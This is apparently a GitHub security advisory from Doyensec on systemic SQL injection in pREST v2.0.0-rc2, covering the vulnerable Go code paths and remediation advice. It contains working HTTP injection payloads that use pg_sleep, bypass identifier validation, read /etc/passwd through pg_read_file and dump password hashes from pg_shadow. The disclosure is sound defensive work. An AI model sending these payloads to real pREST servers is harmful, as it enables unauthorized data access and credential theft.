+ "details": "# Summary\npREST provides a simple way for users to expose access their database via a REST-full API. The project is implemented using the Go programming language and is designed to expose access to Postgres database tables.\n\nDuring an independent review of the project, Doyensec engineers found that SQL injection is a systemic problem in the current implementation (version `v2.0.0-rc2`). Even though there are several instances of attempts to sanitize user input and mitigate injection attempts, we have found that on most code-paths, the protection is faulty or non-existent.\n\n## Core Endpoints\nThe main functionality providing REST operations on the data stored in the Postgres database is exposed via the following endpoints:\n- `GET /{database}/{schema}/{table}` \n- `POST /{database}/{schema}/{table}` \n- `PUT|PATCH /{database}/{schema}/{table}` \n- `DELETE /{database}/{schema}/{table}` \n\nHandlers for the above endpoints execute very similar logic. At a high-level they:\n1. Perform authentication and authorization\n2. Build the SQL query based on the incoming request\n3. Execute the query on the database\n4. Return the data to the user\n\nThe query construction logic uses data from the request (e.g query, body or path parameters) and incorporates them in the SQL query.\n\nAs an example, let us look at the `GET` request or the read operation. After completing the authentication and authorization steps, the `SelectFromTables` function will first compile a list of all columns/fields, that will be returned in the HTTP response.\n```go\ncols, err := config.PrestConf.Adapter.FieldsPermissions(r, table, \"read\", userName)\n// ---snip---\nselectStr, err := config.PrestConf.Adapter.SelectFields(cols)\n```\n\nThe `SelectFields` function will validate the requested columns using the `chkInvalidIdentifier` function, and will ultimately return the beginning of the generated SQL statement. Assuming the request specifies that only the `id` and `task` columns should be returned, the generated SQL will look something like:\n```sql\nSELECT \"id\", \"task\" FROM\n```\n\nThe next step involves generating the table name, from which the data will be queried.\n```go\nquery := config.PrestConf.Adapter.SelectSQL(selectStr, database, schema, table)\n// ...\nfunc (adapter *Postgres) SelectSQL(selectStr string, database string, schema string, table string) string {\n\treturn fmt.Sprintf(`%s \"%s\".\"%s\".\"%s\"`, selectStr, database, schema, table)\n}\n```\n\nThe `SelectSQL` function will receive the `database`, `schema` and `table` values directly from the request and use them to construct the next part of the SQL statement using simple string concatenation.\n\nIf we assume that the `GET` request is made to the following path `/db001/api/todos`, the resulting query will look similar to:\n```sql\nSELECT \"id\", \"name\" FROM \"api\".\"todos\"\n```\n\nThis step performs processing on values, specifically `schema` and `table`, which do not undergo any input validation, and ultimately allow for SQL injection.\n\n---\n\nThe description above is only a single instance of this issue. The list below contains code paths that we believe is a comprehensive list of all code paths affected by this issue:\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L243\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L245\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L559\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L643\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1538\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1559\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1581\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1583\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1585\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1601\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1606\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1611\n- https://github.com/prest/prest/blob/main/adapters/postgres/postgres.go#L1616\n- https://github.com/prest/prest/blob/main/controllers/tables.go#L394\n- https://github.com/prest/prest/blob/main/controllers/tables.go#L465\n### Reproduction\nThe reproduction steps require a working environment which can be set up using the instructions below.\n\nWith that, the issue can be verified using the following HTTP request:\n```http\nGET /db001/api\".\"todos\"%20where%20(select%201%20from%20pg_sleep(5))=1)%20s--/todos HTTP/1.1\nHost: localhost:3000\n```\n\nThe value provided as the `schema` path parameter contains the injection payload and contains SQL which will be added to the existing SQL statement and will inject a nested query that calls the `pg_sleep()` function, delaying the response by 5 seconds. The statement shown below will be the one that is ultimately executed on the database server.\n\n```sql\nSELECT * FROM \"db001\".\"api\".\"todos\" where (select 1 from pg_sleep(5))=1\n```\n## Missing Validation on tsquery Predicates\nUsers with permission to read data from tables have the ability to specify `tsquery` predicates, allowing them to perform more complex filtering on the data. An example usage of `tsquery` can be seen below:\n```http\nGET /databases?datname:tsquery=prest HTTP/1.1\nHost: localhost:3000\n```\n\npREST will parse the request, and if it detects that a `tsquery` needs to be generated, the following code will be executed:\n```go\ncase \"tsquery\":\n\ttsQueryField := strings.Split(keyInfo[0], \"$\")\n\ttsQuery := fmt.Sprintf(`%s @@ to_tsquery('%s')`, tsQueryField[0], value)\n\tif len(tsQueryField) == 2 {\n\t\ttsQuery = fmt.Sprintf(`%s @@ to_tsquery('%s', '%s')`, tsQueryField[0], tsQueryField[1], value)\n\t}\n\twhereKey = append(whereKey, tsQuery)\n```\n\nIn this example, the value of the `value` variable is used directly from the request without any validation, which ultimately allows another path to perform SQL injection.\n### Reproduction\nThe reproduction steps require a working environment which can be set up using the instructions below.\n\nWith that, the issue can be verified using make the following HTTP request:\n```http\nGET /databases?datname:tsquery=db001')+and+((select+'1'+from+pg_sleep(5))%3d'1 HTTP/1.1\nHost: localhost:3000\n```\n\nAs with the previous example, the request above will use Postgres' `pg_sleep()` function to delay the response for 5 seconds, proving the injection was successful.\n## Script Templates\npREST users can define templates for complex SQL queries, that can be reached using the `/_QUERIES/{queriesLocation}/{script}` endpoint. The scripts are read directly from the file system. Their content is passed to the `text/template` Go library, which will render any dynamic data, sourced from the request, directly on to the script template and return the result.\n```go\nfunc ExecuteScriptQuery(rq *http.Request, queriesPath string, script string) ([]byte, error) {\n\tconfig.PrestConf.Adapter.SetDatabase(config.PrestConf.PGDatabase)\n\tsqlPath, err := config.PrestConf.Adapter.GetScript(rq.Method, queriesPath, script)\n\t//---snip---\n\ttemplateData := make(map[string]interface{})\n\textractHeaders(rq, templateData)\n\textractQueryParameters(rq, templateData)\n\tsql, values, err := config.PrestConf.Adapter.ParseScript(sqlPath, templateData)\n\t//---snip---\n\tsc := config.PrestConf.Adapter.ExecuteScriptsCtx(rq.Context(), rq.Method, sql, values)\n\t//---snip---\n\treturn sc.Bytes(), nil\n}\n\n//...\n\nfunc (adapter *Postgres) ParseScript(scriptPath string, templateData map[string]interface{}) (sqlQuery string, values []interface{}, err error) {\n\t_, tplName := filepath.Split(scriptPath)\n\n\tfuncs := &template.FuncRegistry{TemplateData: templateData}\n\ttpl := gotemplate.New(tplName).Funcs(funcs.RegistryAllFuncs())\n\n\ttpl, err = tpl.ParseFiles(scriptPath)\n\t//---snip---\n\n\tvar buff bytes.Buffer\n\terr = tpl.Execute(&buff, funcs.TemplateData)\n\t//---snip---\n\t\n\tsqlQuery = buff.String()\n\treturn\n}\n```\n\nThe `text/template` library is used to render pure text and does not implement any validation or sanitization functionality out-of-the-box. This allows for yet another path from SQL injection.\n### Reproduction\nThe reproduction steps require a working environment which can be set up using the instructions below. In addition, the script below should be saved under the `{{project_root}}/_active` path as `get_todo.read.sql`. \n```sql\nSELECT * FROM api.todos WHERE id = {{.todo_id}}\n```\n\nBefore running pREST, make sure the configuration specifies the script template's directory on the root of the project.\n```toml\n[queries]\nlocation = \"\"\n```\n\nWith that, the issue can be verified by simply making the following request:\n```http\nGET /_QUERIES/_active/get_todo?todo_id=2%20or%20true HTTP/1.1\nHost: localhost:3000\n```\n\nThe `todo_id` value contains the value: `2 OR true` in percent-encoded format. This value will be interpolated in the template and result in the following query being executed:\n```sql\nSELECT * FROM api.todos WHERE id = 2 or true\n```\nThis will ultimately return all values in from the target table.\n## Issues with the Current Validation\npREST implements input validation via the `chkInvalidIdentifier` function, with an attempt to mitigate potential SQL injection attacks. The function will verify that a supplied variable contains only characters from a pre-defined allow list. In addition, the performed validation makes sure that the number of double quotes (`\"`) in the validated value are divisible by 2, with the goal of preventing the user to escape the context of a Postgres identifier. \n\nThe quotation validation logic ultimately proves to be faulty, and can also be abused to perform injection attacks. Namely, Postgres' SQL parser allows identifiers to be enclosed in double-quotes, which acts as a soft of field separator. This enables the construction of queries without any spaces. Combined with the set of allowed characters by the `chkInvalidIdentifier` function, the following request can be made to the server:\n```http\nGET /db001/api/todos?id\"in(0)or(select\"id\"from\"api.todos\"where\"id\"in(1))in(1)or\"id=1 HTTP/1.1\nHost: localhost:3000\n```\n\nThe request will ultimately execute the following SQL query:\n```sql\nSELECT jsonb_agg(s) FROM (SELECT * FROM \"db001\".\"api\".\"todos\" WHERE \"id\"in(0)or(select\"id\"from\"api\".\"todos\"where\"id\"in(1))in(1)or\"id\" = $1 ) s\n```\n\nThe nested `SELECT` statement will impact the output returned to the user. If the nested query evaluates to `true`, the user will see all entries in the `todos` table. On the other hand, if the nested query evaluates to `false`, the user will only see the entry with its `id` column set to `1`.\n\nThis injection path is ultimately limited by the validation preformed in `chkInvalidIdentifier`, which limits the size of identifiers to 62 characters.\n```go\nif !strings.Contains(ival, \".\") && len(ival) > 63 {\n\treturn true\n}\n```\n# Impact\n**Critical**. Executing arbitrary commands on the database can allow for unauthorized access and modification of the data stored. Additionally, feature-rich database engines such as Postgres allow access to files stored on the underlining file-system, and may even allow for arbitrary command execution.\n\nIn pREST's case, the query generation procedure will invoke the `Prepare` function from the `sqlx` ORM, which prevents using stacked queries, also preventing execution of arbitrary operations.\n\nHowever, nested queries and file access operations can be performed. The request shown below will read and return the contents of the `/etc/passwd` file.\n```http\nGET /db001/api\".\"todos\"%20union%20select%20pg_read_file(chr(47)||'etc'||chr(47)||'passwd'))%20s--/todos?_select=task HTTP/1.1\nHost: localhost:3000\n```\n\nNote that using forward slashes (`/`) will brake the path parsing performed by the API server. That limitation can be bypassed by specifying the forward slash using `CHR(47)`. This technique can be used to read environment variables, which often contain sensitive information such as API keys, or read other sensitive files such as SSH private keys or Postgres-specific certificates used for host-based authentication.\n\nNested queries can be used to access information from internal Postgres tables. The example below will retrieve the password hash of the current Postgres user.\n```http\nGET /db001/api\".\"todos\"%20union%20select%20passwd%20from%20pg_shadow)%20s--/todos?_select=task HTTP/1.1\nHost: localhost:3000\n```\n\nFinally, the pREST's official [Docker container ](https://hub.docker.com/r/prest/prest/) uses with the `prest` user the database to establish the database connection. This user does have \"superuser\" permissions, which increases the likelihood of users running pREST with overly permissioned database users which in turn exposes them to the attacks described above.\n\n# Complexity\n**Low**. With access to a running instance, basic web application security knowledge is required to find and exploit this issue. Furthermore, the pREST project is open source, removing any guess work that a potentially attacker might need to do if they were attacking an unknown system.\n\n# Remediation\nThe injection proved to be systemic and impacts the majority of the exposed endpoint. We recommend overhauling how dynamic query generation is implemented. Unfortunately, the used `sqlx` library does not appear allow database identifiers to be parametrized, which is a core feature of pREST. This means that validation needs to be perform manually.\n\nStart off by preventing all string concatenation operations that use unvalidated or unsanitized user input. All user-controllable values that represent database identifiers (e.g. database and table names) should only contain alpha-numeric characters and optionally dashed (`-`) and underscores (`_`).\n\nAlso consider removing the double-quote from the list of allowed character when performing validation and make sure they are placed in the correct position on the server-side. This will prevent the limited injection mentioned above.\n\nFinally, consider updating how query scripts are created and processed. One way of doing this is by recommending the users to write scripts in a parametrized form. pREST can then read the script from the disk and build a parametrized query using `sqlx`. Any dynamic parameters can be read from the request object and set on the query object. In this implementation, escaping user-controlled values will be handled by the library itself. \n\nIt is worth noting that the injection issue was pointed out by [GHSA-wm25-j4gw-6vr3](https://github.com/prest/prest/security/advisories/GHSA-wm25-j4gw-6vr3). However, the submitter did not highlight the impact which is likely why the issue was left unpatched.\n\n# Reproduction Environment Setup\nThe base environment used to verify the existence of the vulnerability uses a running instance of the deploying the official pREST [Docker container](https://hub.docker.com/r/prest/prest/). For simplicity, all reproduction steps assume that JWT-based authentication is disabled.\n\nThe database contains one table under the `api` namespace, named `todos` with the following schema:\n```sql\nCREATE TABLE api.todos (\n id int primary key generated by default as identity,\n done boolean not null default false,\n task text not null,\n due timestamptz\n);\n```\n\npREST can be ran using the following configuration:\n```toml\ndebug = true\n\n[http]\nport = 3000\n\n[jwt]\nkey = \"secret\"\nalgo = \"HS256\"\n\n[auth]\nenabled = false\ntype = \"body\"\nencrypt = \"MD5\"\ntable = \"prest_users\"\nusername = \"username\"\npassword = \"password\"\n\n[pg]\nhost = \"127.0.0.1\"\nuser = \"prest\"\npass = \"password\"\nport = 5432\ndatabase = \"db001\"\nsingle = true\n\n[ssl]\nmode = \"disable\"\nsslcert = \"./PATH\"\nsslkey = \"./PATH\"\nsslrootcert = \"./PATH\"\n\n[expose]\nenabled = true\ndatabases = true\nschemas = true\ntables = true\n\n[queries]\nlocation = \"\"\n```",
![advisory-database[bot]](https://avatars.githubusercontent.com/in/21409?v=4&size=40){kind=avatar}
0 commit comments